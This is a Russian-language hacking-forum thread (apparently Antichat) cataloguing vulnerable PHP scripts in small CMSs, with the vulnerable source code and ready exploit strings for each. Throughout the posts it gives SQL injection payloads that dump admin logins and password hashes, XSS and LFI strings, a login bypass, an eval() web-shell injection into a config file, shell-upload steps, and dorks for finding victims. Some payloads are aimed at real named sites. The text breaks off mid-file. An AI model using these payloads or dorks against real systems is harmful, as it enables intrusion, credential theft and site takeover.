Энциклопедия уязвимых скриптов

Discussion in 'Веб-уязвимости' started by DIAgen, 1 Jun 2006.

  1. ~d0s~

    ~d0s~ Banned

    Joined:
    17 Apr 2010
    Messages:
    265
    Likes Received:
    257
    Reputations:
    154
    Дополнение к посту Root-access
    CompactCMS
    офф сайт: compactcms.nl

    XSS
    content/403.php
    PHP:
    <?php echo $_GET['page']; ?>
    Пример:
    Code:
    http://demo.compactcms.nl/content/403.php?page=<script>alert(document.cookie)</script>
    Тоже самое в файле 404.php по соседству.
     
    #441 ~d0s~, 20 Dec 2010
    Last edited: 10 Jan 2011
  2. ~d0s~

    ~d0s~ Banned

    Joined:
    17 Apr 2010
    Messages:
    265
    Likes Received:
    257
    Reputations:
    154
    xzengine 1.7 beta 8
    Офф сайт xzengine.ru
    DORK : "Powered by xzengine"
    SQL injection

    Крутим через ошибку,пример на нескольких сайтах:
    Code:
    http://xzengine.ru/index.php?category=1+or+1+group+by+concat(version(),floor(rand(0)*2))having+min(0)+or+1--+
    http://glassofvine.ru/index.php?category=1+or+1+group+by+concat(version(),floor(rand(0)*2))having+min(0)+or+1--+
    http://hightvoltage.net/index.php?category=1+and+ExtractValue(1,concat(0x5c,(select+version())))--+
    
    XSS
    Пример:
    Code:
    http://xzengine.ru/index.php?category=1--><script>alert(1)</script>
    Заливка шелла,нужны права админа
    В админке "загрузить файл",льем наш шелл и он будет по адресу site.com/upload/shell.php

    //если есть возможность(двиг не платный) то показывайте уязвимый код. (Konqi)

    Фараон
    Не совсем так,даже если ты закоментируешь обращение к бд ето,то инъекция будет,т.к. там еще 2 обращение к бд с этой переменной.И зачем ты копировал мой пост? :(
     
    #442 ~d0s~, 10 Jan 2011
    Last edited: 10 Jan 2011
    2 people like this.
  3. Фараон

    Фараон коКотэ Of Antichat

    Joined:
    7 Nov 2010
    Messages:
    184
    Likes Received:
    106
    Reputations:
    83
    Дополнение к посту ~d0s~(#444):

    Xzengine 1.7 beta 8

    SQL injection:
    /index.php
    PHP:
    ...
    require_once 
    './classes/viewnews.php';
    ...
    if(isset(
    $_GET['category']))
        
    $category $_GET['category'];
    ...
    /viewnews.php
    PHP:
    ...
            if(
    $category == 0)
            {    
    $result AbstractDataBase::Instance()->query('SELECT * FROM '.DATABASE_TBLPERFIX.'news WHERE news_fixed = 0 AND news_approve = 1 AND news_view = 1 ORDER BY news_id DESC  LIMIT '.$newsperpage $page.','.$newsperpage);
            }
            else
            {    
    $result AbstractDataBase::Instance()->query('SELECT * FROM '.DATABASE_TBLPERFIX.'news WHERE news_fixed = 0 AND news_approve = 1 AND news_view = 1 AND news_category = '.$category.' ORDER BY news_id DESC  LIMIT '.$newsperpage $page.','.$newsperpage);
            }
    ...
    Пример:
    Code:
    http://eng/index.php?category=3%20union%20select%20concat_ws(0x3a,users_login,users_password),2,3,4,5,6,7,8,9,10,11,12,13%20from%20xz_users%20limit%200,1--
     
    #443 Фараон, 10 Jan 2011
    Last edited: 10 Jan 2011
  4. ~d0s~

    ~d0s~ Banned

    Joined:
    17 Apr 2010
    Messages:
    265
    Likes Received:
    257
    Reputations:
    154
    Sobak CMS 0_2
    Скачате: http://sourceforge.net/projects/sobakcms/
    LFI
    Need: rg = on ; mq = off
    index.php
    PHP:
    $id $_GET['id'];
    //...
    if ($isInWebs == true) {
     include (
    'webs/'.$id.'.php'); 
    }
    //...
    эксплуатация:
    Code:
    http://localhost/sobak/index.php?isInWebs=1&id=../robots.txt%00
     
  5. ~d0s~

    ~d0s~ Banned

    Joined:
    17 Apr 2010
    Messages:
    265
    Likes Received:
    257
    Reputations:
    154
    Ragnarok Online Site Engine
    http://sourceforge.net/projects/ro-se/

    SQLi
    include_before.php
    PHP:
    //...
    $ip getIP();
    // был ли сегодня, если нет то добавим хапись вместе с реф страницей, если был, то добавим счетчик за этот день
    $query="SELECT count(*) as cnt FROM ".$config['ros_db'].".ros_counter WHERE DATE_FORMAT(date, '%Y%m%d')='".date("Ymd")."' and `ip`='".$ip."'";
    $result=GetAll($query);
    if(
    $result[0]['cnt']){ // был сегодня, обновим счетчик
        
    query("UPDATE ".$config['ros_db'].".ros_counter SET `count`=`count`+1 WHERE DATE_FORMAT(date, '%Y%m%d')='".date("Ymd")."' and `ip`='".$ip."'");
    }else{ 
    // ненбыло сегодня, добавим с реферрером
        
    query("INSERT INTO ".$config['ros_db'].".ros_counter (`count`, `ip`, `ref`, `date`) VALUES ('1', '".$ip."', '".getenv("HTTP_REFERER")."', NOW())");
    }
    //...
    /include/functions.php
    PHP:
    //...
    function getIP() {
        if(
    getenv("HTTP_CLIENT_IP")) { 
            
    $ip getenv("HTTP_CLIENT_IP"); 
        } elseif(
    getenv("HTTP_X_FORWARDED_FOR")) { 
            
    $ip getenv("HTTP_X_FORWARDED_FOR"); 
        } else { 
            
    $ip getenv("REMOTE_ADDR"); 
        } 
        return 
    $ip;
    }
    /include/db_connect.php
    PHP:
    function query($query,$DB=0){
        global 
    $config;
        if(isset(
    $config['debug']) && $config['debug']){
            echo 
    $query."<br>\n";
        }
        if(
    $DB){
            
    $result=mysql_query($query,$DB);
            }else{
                
    $result=mysql_query($query);
            }
        if(
    mysql_error()){
            echo 
    mysql_error()."<br>\n";
            echo 
    "<b>query:</b>".$query."<br>\n";
            return 
    null;
        }else{
            return 
    $result;
        }
    }
    Как видно из кода у нас инъекция в хедере при чем в селекте и инсерте, покажу варианты раскрутки. Еще больше меня порадовала функция запроса, в случае ошибки она выводит саму ошибку + сам запрос, и нет никаких exit`ov и die`v.

    Эксплуатация: http://site.com/index.php
    Code:
    client-ip: 'and(select*from(select(name_const(version(),1)),name_const(version(),1))a)and'
    
    либо
    Code:
    client-ip: ', 'lala', NOW()) on duplicate key update a=(select 1 from(select count(*) from information_schema.tables group by concat(version(),floor(rand(0)*2)))a)-- 1
    
     
    #445 ~d0s~, 23 Feb 2011
    Last edited: 28 Feb 2011
    3 people like this.
  6. ~d0s~

    ~d0s~ Banned

    Joined:
    17 Apr 2010
    Messages:
    265
    Likes Received:
    257
    Reputations:
    154
    EyeX CMS
    http://sourceforge.net/projects/eyex/

    SQLi / LFI
    Need:
    mq=off

    index.php
    PHP:
    $sec $_GET['sec'];
    if(empty(
    $sec)){    $sec $_POST['sec'];    }
    //...
    if(empty($sec)){
     
    //...
    }

    }else{

    $mainfun3 $db("SELECT mod_status, mod_folder FROM "._CPBD."_mods WHERE mod_folder='$sec'",$link2);
    list(
    $mod_status$mod_folder) = $dbfetch($mainfun3);
    sql_cls($mainfun3);

    if(
    file_exists("Addons/mods/".$mod_folder."/main.php")){

    if(
    is_admin($admin)){
            include(
    "Addons/mods/".$mod_folder."/main.php");
    }else{
        if(
    $mod_status=="1"){
            include(
    "Addons/mods/".$mod_folder."/main.php");
        }else{
            
    header("Location: error.php?code=NOACTIVE");
        }
    }

    }else{
    header("Location: error.php?code=NOMOD");
    }

    }
    /system/sql_functions.php
    PHP:
    define("_SQL_QUERY","mysql_query");
    define("_SQL_FETCH","mysql_fetch_row");
    define("_SQL_NROWS","mysql_numrows");

    $db ""._SQL_QUERY."";
    $dbfetch ""._SQL_FETCH."";
    $dbnum ""._SQL_NROWS."";
    Ну думаю тут все ясно, полученный результат из выборки инклюдится.
    Эксплуатация:
    Code:
    http://localhost/eyexcms/index.php?sec=assdas'+union+select+1,'../../readme.txt%00'-- 1
    
    SQLi
    Need:
    mq=off

    /Addons/mods/news/main.php
    PHP:
    $st $_GET['st'];
    if(empty(
    $st)){
    $st $_POST['st'];
    }
    //...

    function ReadStory(){
    global 
    $bgtable$db$dbfetch$dbnum$link2$bgtable;
    $article $_GET['article'];
    ROhead();
    if(empty(
    $article)){
    wmsg();
    }
    $result $db("SELECT nid, ntitle, ntext, ndate, nautor, topic FROM "._CPBD."_news WHERE nid='$article'",$link2);
    list(
    $nid$ntitle$ntext$ndate$nautor,$topic) = $dbfetch($result);
    change_tpl($nautor,$ntitle,$ntext,$ndate,$topic,$nid);
    comentarios($nid);
    ROfoot();
    sql_cls($result);
    }
    //...

    switch($st){
    case 
    "ReadStory":ReadStory();break;
    case 
    "SaveComment":SaveComment();break;
    default:
    index();break;
    }
    Эксплуатация:
    Code:
    http://localhost/eyexcms/index.php?sec=news&st=ReadStory&article=-1'+union+select+1,version(),3,4,5,6-- 1
    
     
    #446 ~d0s~, 1 Mar 2011
    Last edited: 1 Mar 2011
  7. ~d0s~

    ~d0s~ Banned

    Joined:
    17 Apr 2010
    Messages:
    265
    Likes Received:
    257
    Reputations:
    154
    mapmyglobe
    http://sourceforge.net/projects/mapmyglobe/


    BSQLi

    /user/caccnut.php
    PHP:
    $username $_POST['username'];

    $password1 $_POST['password1'];

    $password2 $_POST['password2'];

    $email $_POST['email'];



    require_once 
    '../lib/dbconfig.php';

    require_once 
    '../lib/liblogin.php';

    require_once 
    '../lib/config.php';



    if (
    $password1 != $password2){

      echo 
    "Different passwords. Please try again.";

      exit;

    }

    if (
    $username == '' || is_numeric(substr($username,0,1))){

      echo 
    "Username must start with a letter. Please try again.";

      exit;

    }

    if (
    ereg("^[a-zA-Z0-9_][email protected][a-zA-Z0-9\-]+\.[a-zA-Z0-9\-\.]+$]"$email)){

      echo 
    "Wrong email format. Please try again.";

      exit;

    }



    $rs query('select * from user where name="'.$username.'"');

    if (
    $row mysql_fetch_assoc($rs)){

      echo 
    "Username already exists. Please try again.";

      exit;

    }
    /lib/dbconfig.php
    PHP:
    function query($q) {

      global 
    $conn$conf;

      
    $result mysql_query($q$conn);

      if (!
    $result) {

        if (
    $conf['prod']){

          die(
    "Invalid query");

        }

        else{

          die(
    "Invalid query -- $q -- " mysql_error());

        }

      }

      return 
    $result;

    }
    $conf['prod'] по умолчанию не установлен, поэтому имеем вывод в ошибке.
    Эксплуатация:
    Code:
    http://localhost/mapmyglobe-0.1/user/caccnt.php
    POST:
    username="and(select*from(select(name_const(version(),1)),name_const(version(),1))a)and"
    
     
    2 people like this.
  8. eclipse

    eclipse Member

    Joined:
    19 Dec 2010
    Messages:
    164
    Likes Received:
    74
    Reputations:
    85
    CMS ElcoSite

    Активная XSS вида ">[XSS] в форме для комментариев по адресу
    Пассивная XSS
    ------------------------------------------> UPD <-----------------------------------------

    CMS RBC Contents

    Раскрытие путей в модуле расширенного поиска

    Эксплойт
    Условие
    Подвержены практически все версии движка.

    ------------------------------------------> UPD <-----------------------------------------


    SQL Injection

    Эксплойт
    Passive XSS
    Эксплойт
    Уязвимые версии <= RBC Contents Second Edition

    (C) Eclipse
     
    #448 eclipse, 31 Mar 2011
    Last edited: 2 Apr 2011
    2 people like this.
  9. eclipse

    eclipse Member

    Joined:
    19 Dec 2010
    Messages:
    164
    Likes Received:
    74
    Reputations:
    85
    MediaWiki, Эскейп-последовательности приводящие к XSS в IE

    CMS MediaWiki

    Уязвимая версия: 1.15.3

    Из-за неправильной обработки управляющих последовательностей, создается возможность првоедения XSS в стилях CSS, при просмотре web страницы через браузер Internet Explorer.

    Для использования данной уязвимости необходимо вставить последвательность "\72" в формате "<U+3000>" внутри тэга объявляющего URL, т.е
    Эксплойт
    (c) Kuriaki Takashi
     
  10. eclipse

    eclipse Member

    Joined:
    19 Dec 2010
    Messages:
    164
    Likes Received:
    74
    Reputations:
    85
    Email Management Software || Скрипт для создания электронного почтового сервиса

    Название скрипта: one_mail
    Сайт автора:
    Code:
    http://www.everyone.net/index.html
    Описание уязвимостей:
    Множесвенные XSS уявзвимости вида ">[XSS]
    Адрес уязвимой страницы:
    Code:
    http://localhost/email/scripts/collectRegistrationInfo.pl
     
  11. Jаger

    Jаger Banned

    Joined:
    26 Mar 2011
    Messages:
    7
    Likes Received:
    12
    Reputations:
    10
    Muzica Free Version 1
    SQL Injection:
    • Download
    • melodie.php
    • PHP:
      $id_melodie $_GET['melodie'];
      $result mysql_query("SELECT id_categorie, nume_melodie, vizualizari_melodie, data_melodie, text_melodie, download_melodie FROM ".$nume_baza.".melodie WHERE id_melodie =".$id_melodie);
    • http://localhost/melodie.php?melodie=1 union select 1,2,3,4,5,6
     
    #451 Jаger, 17 Apr 2011
    Last edited: 17 Apr 2011
    3 people like this.
  12. Tigger

    Tigger Elder - Старейшина

    Joined:
    27 Aug 2007
    Messages:
    1,076
    Likes Received:
    527
    Reputations:
    204
    230 CMS

    230 CMS

    1. SQLi (права админа)
    File:/include/edit/edit.php
    PHP:
    $sql "SELECT * FROM "DATABASE_PREFIX ."articles WHERE pagename = '".$_POST['pagename']."' AND id = '".$_POST['id']."' LIMIT 1";
            
    $result mysql_query($sql) or die (mysql_error());
    PoC: POST pagename=1&id=1'+union+select+1,concat_ws(0x3a,username,password),3,4,5+from+230_users--+

    2. SQLi в INSERT (права админа)
    File:/include/edit/create.php
    PHP:
    $id strip_tags($_POST['id']);
    $sql "INSERT INTO "DATABASE_PREFIX ."articles (`id`, `pagename`, `text`, `summary`, `name`) VALUES ('".$id."', '".$title."', '".$text."', '".$summary."', '".$name."')";
    $result mysql_query($sql) or die (mysql_error());
    Уязвимое поле: $_POST['id']
     
    #452 Tigger, 7 May 2011
    Last edited: 7 May 2011
    3 people like this.
  13. Tigger

    Tigger Elder - Старейшина

    Joined:
    27 Aug 2007
    Messages:
    1,076
    Likes Received:
    527
    Reputations:
    204
    Web Doors CMS

    1. SQLi
    File:/sys/visit_logger.php
    mq = off
    PHP:
    $log_referrer=$_SERVER['HTTP_REFERER'];
    $checkPage=mysql_query("SELECT lvp_id FROM $logPagesTbl WHERE lvp_page LIKE '$log_page'");
    PoC:
    Code:
    GET /index.php
    Referer: http://blabla.com' or substring(version(),1,1)=5-- 1
    
    2. Список файлов в директории
    File:/sys/files/file_manager.php
    PHP:
    if(isset($_GET['path'])){
        
    $f_way=$_GET['path'];
        
    $f_path=$f_way.'/';
    ...........................
    $f_dir=opendir($f_path);
    PoC: http://localhost/sys/files/file_manager.php?path=../..
     
    #453 Tigger, 7 May 2011
    Last edited: 7 May 2011
    2 people like this.
  14. [RedSky]

    [RedSky] Banned

    Joined:
    4 May 2011
    Messages:
    10
    Likes Received:
    11
    Reputations:
    10
    LamaCMS
    SQLi
    Need: магия off, аккаунт юзера

    ./modules/pages/add1.php
    PHP:
        echo '<p><h3>Add Page</h3></p>';
        if(isset(
    $_POST['title']) && !empty($_POST['title']))
        {
        
    $title $_POST['title'];
        
    $msg $_POST['textfield'];
        
    $author $_SESSION['username'];
        
    $query "INSERT INTO pages (title,content,author) VALUES ('$title','$msg','$author')";
        
    mysql_query($query);
        echo 
    '<p>Your page has been added.</p>';
        }
        else
        {
        echo 
    '<p>Not all fields are filled in correctly. Try again.</p>';
        }
    Example:
    Code:
    http://localhost/lamacms/index1.php?inav=pages&modapp=add
    Title: ololo', (select concat_ws(0x3a,username,password)as krasnoenebo from users limit 0,1), 'redsky')-- -
    
    Либо напрямую шлем пост-запрос.
    Идем смотреть пагу, в контенте будет вывод.

    Authorization bypass
    Need: магия в оффе

    ./index.php
    PHP:
    switch (@$_POST['action'])
    {
        
    //Case1: login form submitted
        
    case "login":
        
    $username $_POST['username'];
        
    $password $_POST['password'];
        
    $query "SELECT * FROM users WHERE username='$username' AND password = md5('$password')";
        
    $result mysql_num_rows(mysql_query($query));
        
    $sql mysql_query($query);
        while (
    $results mysql_fetch_assoc($sql))
        {
            
    $membertype $results['membertype'];
        }
    Example:
    Code:
    login: a'or(1)#
    password: =(
    
    Также при добавлении и редактировании чего-либо имеются скули, но смысла в их выкладывании не вижу, т.к. имеются теже зависимости, что и в предыдущих багах.
     
    1 person likes this.
  15. Tigger

    Tigger Elder - Старейшина

    Joined:
    27 Aug 2007
    Messages:
    1,076
    Likes Received:
    527
    Reputations:
    204
    TuoCMS

    1. PHP Code Execution + LFI
    File:/inc/mod-rfi.inc.php
    Need:rg = on
    PHP:
        $pos1 = strpos($pagina, "tp://");
        $pos2 = strpos($pagina, "tps://");
        if (($pos1 === false) &&  ($pos2 === false))     {
        } else {
    ..............................
            if (!file_exists($ifile)) {
                  $string = "<?php exit; ?>\n";
                  $llog = fopen($ifile,"w+");
                  $string = fwrite($llog, $string);
                  fputs($llog,"# $subject\n $body\n");
                  fclose($llog);
              }else{
                    $llog = fopen ($ifile,"a+");
                    fputs($llog,"# $subject\n $body\n");
                    fclose($llog);
            }
    Посмотрев на код видно, что если передавать существующий файл, то в файл впишется верху <?php exit; ?> и это нам все обломает. Поэтому мы будем записывать в конец уже имеющегося файла.
    PoC:
    1) http://localhost/inc/mod-rfi.inc.php?pagina=http://<?php eval($_GET[cmd]); ?>&ifile=../config.dat.php
    2) http://localhost/index.php?pagina=config.dat.php&cmd=phpinfo();
     
    6 people like this.
  16. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,279
    Likes Received:
    1,139
    Reputations:
    886
    заливаем шелл в 4images

    протестировал в версии 1.7.7

    нужны админские права.

    заходим в админку, Общие настройки->установки

    Разрешенные типы файлов для закачки--> добавляем расширение php, сохраняем, идем в раздел Фотографии
    -->Добавить фотографию


    выбераем наш шелл, включаем тампер дату и меняем mime на image/jpeg (для примера)

    шелл будет где то здесь

    http://www.site.com/4images/data/media/1/shell.php

    вместо папки 1, может быть другой номер, смотря какой альбом выбрали :)
     
    _________________________
    #456 Konqi, 1 Jun 2011
    Last edited: 1 Jun 2011
    3 people like this.
  17. Фараон

    Фараон коКотэ Of Antichat

    Joined:
    7 Nov 2010
    Messages:
    184
    Likes Received:
    106
    Reputations:
    83
    Sharelor File Sender 2.0
    Скачать

    SQL Injection:
    /admin/email_config.php
    Need: admin account; mg=off
    PHP:
    ...
    if(
    $_REQUEST['email_id']){

        
    $strSql "select * from ".DB_TABLE_PREFIX."template_emails where email_id = '".$_REQUEST['email_id']."'";

        
    $rsEdit $conn->execute($strSql);

    }
    ...
    Пример:
    Code:
    http://test1.ru/admin/email_config.php?email_id=-1000' union select 1,concat_ws(0x3a,admin_login,admin_password),3,4 from xl_site_config
    

    SQL Injection:
    /view.php
    Need:mg=off
    PHP:
    ...
    $strSql "select * from ".DB_TABLE_PREFIX."files where `key` = '".$_REQUEST['key']."'";
    ...
    Пример:
    Code:
    http://test1.ru/view.php?key=-1' union select 1,2,3,4,5,concat_ws(0x3a,admin_login,admin_password),7,8,9,0,1,2 from xl_site_config
    
    Дорк:intext:"Sharelor.com. All Rights Reserved."
     
    #457 Фараон, 6 Jun 2011
    Last edited: 6 Jun 2011
    4 people like this.
  18. Фараон

    Фараон коКотэ Of Antichat

    Joined:
    7 Nov 2010
    Messages:
    184
    Likes Received:
    106
    Reputations:
    83
    RapidSendit Clone 1.0
    Скачать

    Читалка:
    download.php
    Need: admin account; mg=off
    PHP:
    ...
    if(isset(
    $_GET['file'])) {
      
    $rand2 $_GET['file'];

    ...
    if (
    file_exists("./storagedata/".$rand2.".txt")) {
        
    $fh1=fopen("./storagedata/".$rand2.".txt",r);
        
    $foundfileexplode('|'fgets($fh1));
        
    fclose($fh1);
    }

    ...
    Пример:
    Code:
    http://test1.ru/download.php?file=../password.txt%00
    
    Дорк:intext:"Powered By: Rapidsendit Clone V.1.0"
     
  19. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,279
    Likes Received:
    1,139
    Reputations:
    886
    WebsiteBaker CMS

    Уязвимый модуль : Event_Calendar

    SQL Injection

    /modules/event_calendar/details_popup.php

    PHP:
    $event_id $_GET['entry_id'];
    $sql "SELECT id,start_time,end_time,short_description,long_description,link_text,link_http,type FROM ".TABLE_PREFIX."mod_event_calendar WHERE id = $event_id;";
    $query_entries $database->query$sql );
    $entry $query_entries->fetchRow();
    дорк или метод заливка шелла не имеют смысла описать, все элементарно..
     
    _________________________
  20. Moriarty

    Moriarty Member

    Joined:
    9 Feb 2011
    Messages:
    25
    Likes Received:
    78
    Reputations:
    74
    FácilCMS
    sourceforge.net/projects/facil-cms

    1. SQL-inj (достаем админа)

    News.mysql.class.php
    PHP:
    <?php

    /*
     * Facil-CMS: Because manager your site is very easy!
     * ==================================================
     * 
     * Authors: Wagner Santos -> [email protected]
     *             Celina Jorge  -> [email protected]
     * 
     * ====================================================================
     * Facil-CMS is Free Software. You can redistribute it and/or modify it
     * under the terms of the GNU General Public License as published by
     * the Free Software Foundation (either version 2.0 of the license).
     * ====================================================================
     */

     
    class News
     
    {
         
         var 
    $_ID false;
         var 
    $_LANGUAGE null;
         var 
    $_TITLE '';
         var 
    $_RESUME '';
         var 
    $_CONTENT '';
         var 
    $_PUBLISHER null;
         var 
    $_DATE null;
         var 
    $_STATUS '0';
         
         function 
    __constructor($id false)
         {
             if(
    $id)
             {
                 
    $this->getNewInfo($id);
             }
         }
         
         function 
    News($id false)
         {
             if(
    $id)
             {
                 
    $this->getNewInfo($id);
             }
         }
         
         function 
    getId()
         {
             return 
    $this->_ID;
         }
         
         function 
    setId($id)
         {
             
    $this->_ID $id;
         }
         
         function 
    getLanguage()
         {
             return 
    $this->_LANGUAGE;
         }
         
         function 
    setLanguage($language)
         {
             
    $this->_LANGUAGE $language;
         }
         
         function 
    getTitle()
         {
             return 
    $this->_TITLE;
         }
         
         function 
    setTitle($title)
         {
             
    $this->_TITLE $title;
         }
         
         function 
    getResume()
         {
             return 
    $this->_RESUME;
         }
         
         function 
    setResume($resume)
         {
             
    $this->_RESUME $resume;
         }
         
         function 
    getContent()
         {
             return 
    $this->_CONTENT;
         }
         
         function 
    setContent($content)
         {
             
    $this->_CONTENT $content;
         }
         
         function 
    getPublisher()
         {
             return 
    $this->_PUBLISHER;
         }
         
         function 
    setPublisher($publisher)
         {
             
    $this->_PUBLISHER $publisher;
         }
         
         function 
    getDate()
         {
             return 
    $this->_DATE;
         }
         
         function 
    setDate($date)
         {
             
    $this->_DATE $date;
         }
         
         function 
    getStatus()
         {
             return 
    $this->_STATUS;
         }
         
         function 
    setStatus($status)
         {
             
    $this->_STATUS $status;
         }
         
         function 
    getNewInfo($id)
         {
             
    $sql "SELECT * FROM " _NEWS_DB_TABLE_ " WHERE id=" $id;
             
    $res $GLOBALS['DB']->Execute($sql) or die($GLOBALS['DB']->ErrorMsg() . '<br />' $sql);
             if(
    $res->RecordCount() == 1)
             {
                 
    $this->setContent($res->fields('content'));
                 
    $this->setDate($res->fields('date'));
                 
    $this->setId($res->fields('id'));
                 
    $this->setLanguage($res->fields('language'));
                 
    $this->setPublisher($res->fields('publisher'));
                 
    $this->setResume($res->fields('resume'));
                 
    $this->setStatus($res->fields('status'));
                 
    $this->setTitle($res->fields('title'));
                 return 
    true;
             }
         }
         
         function 
    Add()
         {
             if(!
    $this->getId())
             {
                 
    $sql "INSERT INTO " _NEWS_DB_TABLE_ " (id, language, title, resume, content, publisher, date, status) VALUES (null, '" $this->getLanguage() . "', '" $this->getTitle() . "', '" $this->getResume() . "', '" $this->getContent() . "', " $this->getPublisher() . ", NOW(), '" $this->getStatus() . "')";
                 if(
    $GLOBALS['DB']->Execute($sql))
                 {
                     return 
    true;
                 }
                 else
                 {
                     die(
    $GLOBALS['DB']->ErrorMsg() . '<br />' $sql);
                 }
             }
         }
         
         function 
    Erase()
         {
             if(
    $this->getId())
             {
                 
    $sql "DELETE FROM " _NEWS_DB_TABLE_ " WHERE id=" $this->getId();
                 if(
    $GLOBALS['DB']->Execute($sql))
                 {
                     return 
    true;
                 }
                 else
                 {
                     die(
    $GLOBALS['DB']->ErrorMsg() . '<br />' $sql);
                 }
             }
         }
         
         function 
    Update()
         {
             if(
    $this->getId())
             {
                 
    $sql "UPDATE " _NEWS_DB_TABLE_ " SET language='" $this->getLanguage() . "', title='" $this->getTitle() . "', resume='" $this->getResume() . "', content='" $this->getContent() . "', status='" $this->getStatus() . "' WHERE id=" $this->getId();
                 if(
    $GLOBALS['DB']->Execute($sql))
                 {
                     return 
    true;
                 }
                 else
                 {
                     die(
    $GLOBALS['DB']->ErrorMsg() . '<br />' $sql);
                 }
             }
         }
         
         function 
    countNews($language=false)
         {
             
    $sql "SELECT COUNT(*) as Total FROM " _NEWS_DB_TABLE_ " WHERE status='1'";
             
    $res $GLOBALS['DB']->Execute($sql) or die($GLOBALS['DB']->ErrorMsg() . '<br />' $sql);
             return 
    $res->fields('Total');
         }
         
         function 
    listNews($start=0$limit=30$language=false)
         {
             if(
    $language)
             {
                 
    $language ' language="' $language '"';
             }
             else
             {
                 
    $language '';
             }
             
             if(!
    $_SESSION['UTYPE'] == '1')
             {
                 
    $status " status='1'";
             }
             else
             {
                 
    $status '';
             }
             
             if(
    $language != '' || $status != '')
             {
                 
    $where ' WHERE';
                 if(
    $language != '')
                 {
                     
    $where .= $language;
                 }
                 if(
    $status != '')
                 {
                     if(
    $language != '')
                     {
                         
    $where .= ' AND';
                     }
                     
    $where .= $status;
                 }
             }
             
             
    $sql "SELECT * FROM " _NEWS_DB_TABLE_ $where " ORDER BY date DESC LIMIT " $start ", " $limit;
             
             
    $res $GLOBALS['DB']->Execute($sql) or die($GLOBALS['DB']->ErrorMsg() . '<br />' $sql);
             if(
    $res->RecordCount() > 0)
             {
                 
    $array = array();
                 while(!
    $res->EOF)
                 {
                     
    $utils = new facilUtils();
                     
    $date $utils->formatDate($res->fields('date'));
                     
    $array[] = array('id' => $res->fields('id'), 'title' => $res->fields('title'), 'date' => $date);
                     
    $res->MoveNext();
                 }
                 return 
    $array;
             }
         }
         
     }

    ?>
    Code:
    http://temp/modules.php?modload=News&op=view&id=1+UNION+SELECT+1,2,group_concat(email,0x3a,password+SEPARATOR+0x3c62723e),4,5,6,7,8+FROM+facil_users+WHERE+type=1+--+
    2. Другой способ попасть в админку, если не получилось брутануть хэш админа (урл выше).

    login.php
    PHP:
    <?php

    /*
     * Facil-CMS: Because manager your site is very easy!
     * ==================================================
     * 
     * Authors: Wagner Santos -> [email protected]
     *             Celina Jorge  -> [email protected]
     * 
     * ====================================================================
     * Facil-CMS is Free Software. You can redistribute it and/or modify it
     * under the terms of the GNU General Public License as published by
     * the Free Software Foundation (either version 2.0 of the license).
     * ====================================================================
     */

     
    session_start();

     require_once(
    'config.inc.php');
     require_once(
    _FACIL_INCLUDES_PATH_ '/facil-settings.php');

     if(
    $_POST['email'] && $_POST['password'])
     {
         require_once(
    _FACIL_MODULES_PATH_ '/Users/i18n/lang-' $_SESSION['FACIL_LANGUAGE'] . '.php');
         require_once(
    _FACIL_MODULES_PATH_ '/Users/config.php');
         require_once(
    _FACIL_MODULES_PATH_ '/Users/class/index.php');
         
    $email $_POST['email'];
         
    $password md5($_POST['password']);
         
    $user = new Users();
         
    $login $user->Login($email$password);
         if(
    $login && !is_null($login) && !empty($login))
         {
             
    $user = new Users($login);
             
    $_SESSION['UID'] = $user->getId();
             
    $_SESSION['UTYPE'] = $user->getType();
             
    $_SESSION['EMAIL'] = $user->getEmail();
             
    $_SESSION['NAME'] = $user->getName();
             
    header("location: modules.php?modload=Users");
         }
         else
         {
             
    $js = new jsAlert(_BAD_USER_OR_PASSWORD_'history.go(-1);');
             print 
    $js->Alert();
         }
     }
     elseif(
    $_GET['logoff'] == "1")
     {
         foreach(
    $_SESSION as $id => $value)
         {
             
    $_SESSION[$id] = false;
             unset(
    $_SESSION[$id]);
             
    header("location: index.php");
         }
     }
     else
     {
         
    header("location: index.php");
     }

    ?>
    Для этого способа требуется лишь мыло админа.
    Code:
    http://temp/modules.php?modload=News&op=view&id=1+UNION+SELECT+1,2,group_concat(email+SEPARATOR+0x3c62723e),4,5,6,7,8+FROM+facil_users+WHERE+type=1+--+
    Для авторизации админом потребуется лишь ввести мыло и любой пароль, при этом закомментив строку сразу после ввода мыла, то бишь:
    или
    3. Заливаемся

    adminPhotos.php
    PHP:
    <?php

    /*
     * Facil-CMS: Because manager your site is very easy!
     * ==================================================
     * 
     * Authors: Wagner Santos -> [email protected]
     *             Celina Jorge  -> [email protected]
     * 
     * ====================================================================
     * Facil-CMS is Free Software. You can redistribute it and/or modify it
     * under the terms of the GNU General Public License as published by
     * the Free Software Foundation (either version 2.0 of the license).
     * ====================================================================
     */

     
    require_once('header.php');
     
     
    $theme = new themeFacil();
     print 
    $theme->moduleTitle('Albums');
     
     if(
    $_POST['op'])
     {
         
    $op $_POST['op'];
     } 
      elseif(
    $_GET['op'])
     {
         
    $op $_GET['op'];
     }
     else
     {
         
    $op false;
     }
     
     switch(
    $op)
     {
         default:
             
             break;
             
         case 
    "add":
             if(
    $_POST['album'] && $_FILES)
             {
                 
    $util = new facilUtils();
                 
    $comment $util->htmlentities($_POST['comment']);
                 
                 
    $photo = new Photos();
                 
    $photo->setAlbum($_POST['album']);
                 
    $photo->setComment($comment);
                 
    $photo->setFile($_FILES['file']['name']);
                 if(
    $photo->Add())
                 {
                     
    $js = new jsAlert(_PHOTO_SUCCESSFULLY_UPLOADED_"window.location='" _MODULE_URL_ "&op=view&id=" $_POST['album'] . "';");
                     print 
    $js->Alert();
                 }
                 else
                 {
                     
    $js = new jsAlert(_ERROR_WHILE_UPLOADING_PHOTO_'history.go(-1);');
                     print 
    $js->Alert();
                 }
             }
             break;
             
         case 
    "edit":
             if(
    $_POST['id'])
             {
                 
    $id $_POST['id'];
             }
             elseif(
    $_GET['id'])
             {
                 
    $id $_GET['id'];
             }
             else
             {
                 
    $id false;
             }
             if(
    $id)
             {
                 
    $form = new formPhotos();
                 print 
    $form->Edit($id);
             }
             break;
             
         case 
    "change":
             if(
    $_POST['id'])
             {
                 
    $util = new facilUtils();
                 
    $comment $util->htmlentities($_POST['comment']);
                 
    $photo = new Photos($_POST['id']);
                 
    $photo->setComment($comment);
                 if(
    $photo->Update())
                 {
                     
    $js = new jsAlert(_PHOTO_SUCCESSFULLY_CHANGED_"window.location='" _MODULE_URL_ "&op=photo&id=" $_POST['id'] . "';");
                     print 
    $js->Alert();
                 }
                 else
                 {
                     
